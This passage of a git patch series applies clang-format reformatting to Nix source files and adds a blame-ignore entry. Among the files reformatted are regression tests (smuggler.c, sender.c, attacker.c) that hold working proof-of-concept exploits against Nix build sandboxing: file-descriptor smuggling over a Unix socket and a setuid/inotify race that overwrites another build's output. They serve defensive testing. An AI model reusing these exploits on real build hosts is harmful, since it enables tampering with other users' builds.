@@ -81,7 +84,8 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand } { - Activity act(*logger, lvlInfo, actUnknown, fmt("verifying that '%s' works...", store->printStorePath(storePath))); + Activity act( + *logger, lvlInfo, actUnknown, fmt("verifying that '%s' works...", store->printStorePath(storePath))); auto program = store->printStorePath(storePath) + "/bin/nix-env"; auto s = runProgram(program, false, {"--version"}); if (s.find("Nix") == std::string::npos) @@ -91,11 +95,16 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand logger->stop(); { - Activity act(*logger, lvlInfo, actUnknown, + Activity act( + *logger, + lvlInfo, + actUnknown, fmt("installing '%s' into profile %s...", store->printStorePath(storePath), profileDir)); // FIXME: don't call an external process. - runProgram(getNixBin("nix-env").string(), false, + runProgram( + getNixBin("nix-env").string(), + false, {"--profile", profileDir.string(), "-i", store->printStorePath(storePath), "--no-sandbox"}); } @@ -118,7 +127,8 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand auto profileDir = where.parent_path(); // Resolve profile to /nix/var/nix/profiles/ link. - while (canonPath(profileDir.string()).find("/profiles/") == std::string::npos && std::filesystem::is_symlink(profileDir)) + while (canonPath(profileDir.string()).find("/profiles/") == std::string::npos + && std::filesystem::is_symlink(profileDir)) profileDir = readLink(profileDir.string()); printInfo("found profile %s", profileDir); @@ -126,7 +136,9 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand Path userEnv = canonPath(profileDir.string(), true); if (std::filesystem::exists(profileDir / "manifest.json")) - throw Error("directory %s is managed by 'nix profile' and currently cannot be upgraded by 'nix upgrade-nix'", profileDir); + throw Error( + "directory %s is managed by 'nix profile' and currently cannot be upgraded by 'nix upgrade-nix'", + profileDir); if (!std::filesystem::exists(profileDir / "manifest.nix")) throw Error("directory %s does not appear to be part of a Nix profile", profileDir); @@ -143,7 +155,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand Activity act(*logger, lvlInfo, actUnknown, "querying latest Nix version"); // FIXME: use nixos.org? - auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl); + auto req = FileTransferRequest((std::string &) settings.upgradeNixStorePathUrl); auto res = getFileTransfer()->download(req); auto state = std::make_unique(LookupPath{}, store, fetchSettings, evalSettings); @@ -152,7 +164,8 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand Bindings & bindings(*state->allocBindings(0)); auto v2 = findAlongAttrPath(*state, settings.thisSystem, bindings, *v).first; - return store->parseStorePath(state->forceString(*v2, noPos, "while evaluating the path tho latest nix version")); + return store->parseStorePath( + state->forceString(*v2, noPos, "while evaluating the path tho latest nix version")); } }; diff --git a/src/nix/verify.cc b/src/nix/verify.cc index ff81d78b6..91d5e0681 100644 --- a/src/nix/verify.cc +++ b/src/nix/verify.cc @@ -57,8 +57,8 @@ struct CmdVerify : StorePathsCommand std::string doc() override { return - #include "verify.md" - ; +#include "verify.md" + ; } void run(ref store, StorePaths && storePaths) override @@ -77,9 +77,7 @@ struct CmdVerify : StorePathsCommand std::atomic failed{0}; std::atomic active{0}; - auto update = [&]() { - act.progress(done, storePaths.size(), active, failed); - }; + auto update = [&]() { act.progress(done, storePaths.size(), active, failed); }; ThreadPool pool; @@ -108,7 +106,8 @@ struct CmdVerify : StorePathsCommand if (hash.first != info->narHash) { corrupted++; act2.result(resCorruptedPath, store->printStorePath(info->path)); - printError("path '%s' was modified! expected hash '%s', got '%s'", + printError( + "path '%s' was modified! expected hash '%s', got '%s'", store->printStorePath(info->path), info->narHash.to_string(HashFormat::Nix32, true), hash.first.to_string(HashFormat::Nix32, true)); @@ -130,21 +129,25 @@ struct CmdVerify : StorePathsCommand auto doSigs = [&](StringSet sigs) { for (const auto & sig : sigs) { - if (!sigsSeen.insert(sig).second) continue; + if (!sigsSeen.insert(sig).second) + continue; if (validSigs < ValidPathInfo::maxSigs && info->checkSignature(*store, publicKeys, sig)) validSigs++; } }; - if (info->isContentAddressed(*store)) validSigs = ValidPathInfo::maxSigs; + if (info->isContentAddressed(*store)) + validSigs = ValidPathInfo::maxSigs; doSigs(info->sigs); for (auto & store2 : substituters) { - if (validSigs >= actualSigsNeeded) break; + if (validSigs >= actualSigsNeeded) + break; try { auto info2 = store2->queryPathInfo(info->path); - if (info2->isContentAddressed(*store)) validSigs = ValidPathInfo::maxSigs; + if (info2->isContentAddressed(*store)) + validSigs = ValidPathInfo::maxSigs; doSigs(info2->sigs); } catch (InvalidPath &) { } catch (Error & e) { @@ -161,7 +164,6 @@ struct CmdVerify : StorePathsCommand act2.result(resUntrustedPath, store->printStorePath(info->path)); printError("path '%s' is untrusted", store->printStorePath(info->path)); } - } done++; @@ -179,10 +181,7 @@ struct CmdVerify : StorePathsCommand pool.process(); - throw Exit( - (corrupted ? 1 : 0) | - (untrusted ? 2 : 0) | - (failed ? 4 : 0)); + throw Exit((corrupted ? 1 : 0) | (untrusted ? 2 : 0) | (failed ? 4 : 0)); } }; diff --git a/src/nix/why-depends.cc b/src/nix/why-depends.cc index 5de32caae..65405cea1 100644 --- a/src/nix/why-depends.cc +++ b/src/nix/why-depends.cc @@ -7,15 +7,9 @@ using namespace nix; -static std::string hilite(const std::string & s, size_t pos, size_t len, - const std::string & colour = ANSI_RED) +static std::string hilite(const std::string & s, size_t pos, size_t len, const std::string & colour = ANSI_RED) { - return - std::string(s, 0, pos) - + colour - + std::string(s, pos, len) - + ANSI_NORMAL - + std::string(s, pos + len); + return std::string(s, 0, pos) + colour + std::string(s, pos, len) + ANSI_NORMAL + std::string(s, pos + len); } static std::string filterPrintable(const std::string & s) @@ -49,13 +43,15 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions addFlag({ .longName = "all", .shortName = 'a', - .description = "Show all edges in the dependency graph leading from *package* to *dependency*, rather than just a shortest path.", + .description = + "Show all edges in the dependency graph leading from *package* to *dependency*, rather than just a shortest path.", .handler = {&all, true}, }); addFlag({ .longName = "precise", - .description = "For each edge in the dependency graph, show the files in the parent that cause the dependency.", + .description = + "For each edge in the dependency graph, show the files in the parent that cause the dependency.", .handler = {&precise, true}, }); } @@ -68,11 +64,14 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions std::string doc() override { return - #include "why-depends.md" - ; +#include "why-depends.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void run(ref store) override { @@ -127,11 +126,12 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions std::map graph; for (auto & path : closure) - graph.emplace(path, Node { - .path = path, - .refs = store->queryPathInfo(path)->references, - .dist = path == dependencyPath ? 0 : inf - }); + graph.emplace( + path, + Node{ + .path = path, + .refs = store->queryPathInfo(path)->references, + .dist = path == dependencyPath ? 0 : inf}); // Transpose the graph. for (auto & node : graph) @@ -159,7 +159,6 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions queue.push(&node2); } } - } } @@ -169,26 +168,29 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions and `dependency`. */ std::function printNode; - struct BailOut { }; + struct BailOut + {}; printNode = [&](Node & node, const std::string & firstPad, const std::string & tailPad) { CanonPath pathS(node.path.to_string()); assert(node.dist != inf); if (precise) { - logger->cout("%s%s%s%s" ANSI_NORMAL, + logger->cout( + "%s%s%s%s" ANSI_NORMAL, firstPad, node.visited ? "\e[38;5;244m" : "", firstPad != "" ? "→ " : "", pathS.abs()); } - if (node.path == dependencyPath && !all - && packagePath != dependencyPath) + if (node.path == dependencyPath && !all && packagePath != dependencyPath) throw BailOut(); - if (node.visited) return; - if (precise) node.visited = true; + if (node.visited) + return; + if (precise) + node.visited = true; /* Sort the references by distance to `dependency` to ensure that the shortest path is printed first. */ @@ -196,9 +198,11 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions std::set hashes; for (auto & ref : node.refs) { - if (ref == node.path && packagePath != dependencyPath) continue; + if (ref == node.path && packagePath != dependencyPath) + continue; auto & node2 = graph.at(ref); - if (node2.dist == inf) continue; + if (node2.dist == inf) + continue; refs.emplace(node2.dist, &node2); hashes.insert(std::string(node2.path.hashPart())); } @@ -233,11 +237,13 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions if (pos != std::string::npos) { size_t margin = 32; auto pos2 = pos >= margin ? pos - margin : 0; - hits[hash].emplace_back(fmt("%s: …%s…", + hits[hash].emplace_back( + fmt("%s: …%s…", p2, - hilite(filterPrintable( - std::string(contents, pos2, pos - pos2 + hash.size() + margin)), - pos - pos2, StorePath::HashLen, + hilite( + filterPrintable(std::string(contents, pos2, pos - pos2 + hash.size() + margin)), + pos - pos2, + StorePath::HashLen, getColour(hash)))); } } @@ -249,15 +255,16 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions for (auto & hash : hashes) { auto pos = target.find(hash); if (pos != std::string::npos) - hits[hash].emplace_back(fmt("%s -> %s", p2, - hilite(target, pos, StorePath::HashLen, getColour(hash)))); + hits[hash].emplace_back( + fmt("%s -> %s", p2, hilite(target, pos, StorePath::HashLen, getColour(hash)))); } } }; // FIXME: should use scanForReferences(). - if (precise) visitPath(pathS); + if (precise) + visitPath(pathS); for (auto & ref : refs) { std::string hash(ref.second->path.hashPart()); @@ -266,15 +273,16 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions for (auto & hit : hits[hash]) { bool first = hit == *hits[hash].begin(); - logger->cout("%s%s%s", tailPad, - (first ? (last ? treeLast : treeConn) : (last ? treeNull : treeLine)), - hit); - if (!all) break; + logger->cout( + "%s%s%s", tailPad, (first ? (last ? treeLast : treeConn) : (last ? treeNull : treeLine)), hit); + if (!all) + break; } if (!precise) { auto pathS = store->printStorePath(ref.second->path); - logger->cout("%s%s%s%s" ANSI_NORMAL, + logger->cout( + "%s%s%s%s" ANSI_NORMAL, firstPad, ref.second->visited ? "\e[38;5;244m" : "", last ? treeLast : treeConn, @@ -282,9 +290,7 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions node.visited = true; } - printNode(*ref.second, - tailPad + (last ? treeNull : treeLine), - tailPad + (last ? treeNull : treeLine)); + printNode(*ref.second, tailPad + (last ? treeNull : treeLine), tailPad + (last ? treeNull : treeLine)); } }; @@ -294,7 +300,8 @@ struct CmdWhyDepends : SourceExprCommand, MixOperateOnOptions logger->cout("%s", store->printStorePath(graph.at(packagePath).path)); } printNode(graph.at(packagePath), "", ""); - } catch (BailOut & ) { } + } catch (BailOut &) { + } } }; diff --git a/tests/functional/plugins/plugintest.cc b/tests/functional/plugins/plugintest.cc index 0b1a01a6e..e8f80a4aa 100644 --- a/tests/functional/plugins/plugintest.cc +++ b/tests/functional/plugins/plugintest.cc @@ -5,15 +5,14 @@ using namespace nix; struct MySettings : Config { - Setting settingSet{this, false, "setting-set", - "Whether the plugin-defined setting was set"}; + Setting settingSet{this, false, "setting-set", "Whether the plugin-defined setting was set"}; }; MySettings mySettings; static GlobalConfig::Register rs(&mySettings); -static void prim_anotherNull (EvalState & state, const PosIdx pos, Value ** args, Value & v) +static void prim_anotherNull(EvalState & state, const PosIdx pos, Value ** args, Value & v) { if (mySettings.settingSet) v.mkNull(); diff --git a/tests/functional/test-libstoreconsumer/main.cc b/tests/functional/test-libstoreconsumer/main.cc index 2c0402094..bc8853fc9 100644 --- a/tests/functional/test-libstoreconsumer/main.cc +++ b/tests/functional/test-libstoreconsumer/main.cc @@ -5,7 +5,7 @@ using namespace nix; -int main (int argc, char **argv) +int main(int argc, char ** argv) { try { if (argc != 2) { @@ -21,12 +21,8 @@ int main (int argc, char **argv) // build the derivation - std::vector paths { - DerivedPath::Built { - .drvPath = makeConstantStorePathRef(store->parseStorePath(drvPath)), - .outputs = OutputsSpec::Names{"out"} - } - }; + std::vector paths{DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(store->parseStorePath(drvPath)), .outputs = OutputsSpec::Names{"out"}}}; const auto results = store->buildPathsWithResults(paths, bmNormal, store); diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c index 2ec79947a..639b88900 100644 --- a/tests/nixos/ca-fd-leak/sender.c +++ b/tests/nixos/ca-fd-leak/sender.c @@ -9,7 +9,8 @@ #include #include -int main(int argc, char **argv) { +int main(int argc, char ** argv) +{ assert(argc == 2); @@ -25,12 +26,12 @@ int main(int argc, char **argv) { // executed in, just busyloop here. int res = -1; while (res < 0) { - res = connect(sock, (const struct sockaddr *)&data, - offsetof(struct sockaddr_un, sun_path) - + strlen(argv[1]) - + 1); - if (res < 0 && errno != ECONNREFUSED) perror("connect"); - if (errno != ECONNREFUSED) break; + res = connect( + sock, (const struct sockaddr *) &data, offsetof(struct sockaddr_un, sun_path) + strlen(argv[1]) + 1); + if (res < 0 && errno != ECONNREFUSED) + perror("connect"); + if (errno != ECONNREFUSED) + break; } // Write our message header. @@ -39,27 +40,28 @@ int main(int argc, char **argv) { msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. - struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + struct cmsghdr * hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); - memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); + memcpy(CMSG_DATA(hdr), (void *) &fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. - msg.msg_iov = (struct iovec*) malloc(sizeof(struct iovec)); - msg.msg_iov[0].iov_base = (void*) ""; + msg.msg_iov = (struct iovec *) malloc(sizeof(struct iovec)); + msg.msg_iov[0].iov_base = (void *) ""; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); - if (res < 0) perror("sendmsg"); + if (res < 0) + perror("sendmsg"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. - recv(sock, (void *)&buf, sizeof(int), 0); + recv(sock, (void *) &buf, sizeof(int), 0); } diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c index 7279c48bf..655b8f8f1 100644 --- a/tests/nixos/ca-fd-leak/smuggler.c +++ b/tests/nixos/ca-fd-leak/smuggler.c @@ -7,7 +7,8 @@ #include #include -int main(int argc, char **argv) { +int main(int argc, char ** argv) +{ assert(argc == 2); @@ -18,21 +19,21 @@ int main(int argc, char **argv) { data.sun_family = AF_UNIX; data.sun_path[0] = 0; strncpy(data.sun_path + 1, argv[1], sizeof(data.sun_path) - 1); - int res = bind(sock, (const struct sockaddr *)&data, - offsetof(struct sockaddr_un, sun_path) - + strlen(argv[1]) - + 1); - if (res < 0) perror("bind"); + int res = bind(sock, (const struct sockaddr *) &data, offsetof(struct sockaddr_un, sun_path) + strlen(argv[1]) + 1); + if (res < 0) + perror("bind"); res = listen(sock, 1); - if (res < 0) perror("listen"); + if (res < 0) + perror("listen"); int smuggling_fd = -1; // Accept the connection a first time to receive the file descriptor. fprintf(stderr, "%s\n", "Waiting for the first connection"); int a = accept(sock, 0, 0); - if (a < 0) perror("accept"); + if (a < 0) + perror("accept"); struct msghdr msg = {0}; msg.msg_control = malloc(128); @@ -41,13 +42,12 @@ int main(int argc, char **argv) { // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); - struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + struct cmsghdr * hdr = CMSG_FIRSTHDR(&msg); while (hdr) { - if (hdr->cmsg_level == SOL_SOCKET - && hdr->cmsg_type == SCM_RIGHTS) { + if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { // Grab the copy of the file descriptor. - memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); + memcpy((void *) &smuggling_fd, CMSG_DATA(hdr), sizeof(int)); } hdr = CMSG_NXTHDR(&msg, hdr); @@ -58,11 +58,14 @@ int main(int argc, char **argv) { // Wait for a second connection, which will tell us that the build is // done a = accept(sock, 0, 0); - if (a < 0) perror("accept"); + if (a < 0) + perror("accept"); fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); // Write a new content to the file - if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); + if (ftruncate(smuggling_fd, 0)) + perror("ftruncate"); const char * new_content = "Pwned\n"; int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); - if (written_bytes != strlen(new_content)) perror("write"); + if (written_bytes != strlen(new_content)) + perror("write"); } diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c index 3bd729c04..3377a5fd0 100644 --- a/tests/nixos/user-sandboxing/attacker.c +++ b/tests/nixos/user-sandboxing/attacker.c @@ -9,74 +9,74 @@ #define SYS_fchmodat2 452 -int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { - return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); +int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags) +{ + return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); } -int main(int argc, char **argv) { - if (argc <= 1) { - // stage 1: place the setuid-builder executable +int main(int argc, char ** argv) +{ + if (argc <= 1) { + // stage 1: place the setuid-builder executable - // make the build directory world-accessible first - chmod(".", 0755); + // make the build directory world-accessible first + chmod(".", 0755); - if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { - perror("Setting the suid bit on attacker"); - exit(-1); - } - - } else { - // stage 2: corrupt the victim derivation while it's building - - // prevent the kill - if (setresuid(-1, -1, getuid())) { - perror("setresuid"); - exit(-1); - } - - if (fork() == 0) { - - // wait for the victim to build - int fd = inotify_init(); - inotify_add_watch(fd, argv[1], IN_CREATE); - int dirfd = open(argv[1], O_DIRECTORY); - if (dirfd < 0) { - perror("opening the global build directory"); - exit(-1); - } - char buf[4096]; - fprintf(stderr, "Entering the inotify loop\n"); - for (;;) { - ssize_t len = read(fd, buf, sizeof(buf)); - struct inotify_event *ev; - for (char *pe = buf; pe < buf + len; - pe += sizeof(struct inotify_event) + ev->len) { - ev = (struct inotify_event *)pe; - fprintf(stderr, "folder %s created\n", ev->name); - // wait a bit to prevent racing against the creation - sleep(1); - int builddir = openat(dirfd, ev->name, O_DIRECTORY); - if (builddir < 0) { - perror("opening the build directory"); - continue; - } - int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); - if (resultfile < 0) { - perror("opening the hijacked file"); - continue; - } - int writeres = write(resultfile, "bad\n", 4); - if (writeres < 0) { - perror("writing to the hijacked file"); - continue; - } - fprintf(stderr, "Hijacked the build for %s\n", ev->name); - return 0; + if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { + perror("Setting the suid bit on attacker"); + exit(-1); } - } + + } else { + // stage 2: corrupt the victim derivation while it's building + + // prevent the kill + if (setresuid(-1, -1, getuid())) { + perror("setresuid"); + exit(-1); + } + + if (fork() == 0) { + + // wait for the victim to build + int fd = inotify_init(); + inotify_add_watch(fd, argv[1], IN_CREATE); + int dirfd = open(argv[1], O_DIRECTORY); + if (dirfd < 0) { + perror("opening the global build directory"); + exit(-1); + } + char buf[4096]; + fprintf(stderr, "Entering the inotify loop\n"); + for (;;) { + ssize_t len = read(fd, buf, sizeof(buf)); + struct inotify_event * ev; + for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) { + ev = (struct inotify_event *) pe; + fprintf(stderr, "folder %s created\n", ev->name); + // wait a bit to prevent racing against the creation + sleep(1); + int builddir = openat(dirfd, ev->name, O_DIRECTORY); + if (builddir < 0) { + perror("opening the build directory"); + continue; + } + int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); + if (resultfile < 0) { + perror("opening the hijacked file"); + continue; + } + int writeres = write(resultfile, "bad\n", 4); + if (writeres < 0) { + perror("writing to the hijacked file"); + continue; + } + fprintf(stderr, "Hijacked the build for %s\n", ev->name); + return 0; + } + } + } + + exit(0); } - - exit(0); - } } - From e45cac3eda1b609153f0274a74bdc5004bb346bf Mon Sep 17 00:00:00 2001 From: Graham Christensen Date: Sat, 12 Apr 2025 10:41:30 -0400 Subject: [PATCH 3/3] Update .git-blame-ignore-revs to ignore the mass reformatting --- .git-blame-ignore-revs | 1 + 1 file changed, 1 insertion(+) create mode 100644 .git-blame-ignore-revs diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs new file mode 100644 index 000000000..6234c61f4 --- /dev/null +++ b/.git-blame-ignore-revs @@ -0,0 +1 @@ +c01a35bb1c09fc2fac17e8b4377b7eca8bbc2a93 # bulk initial re-formatting with clang-format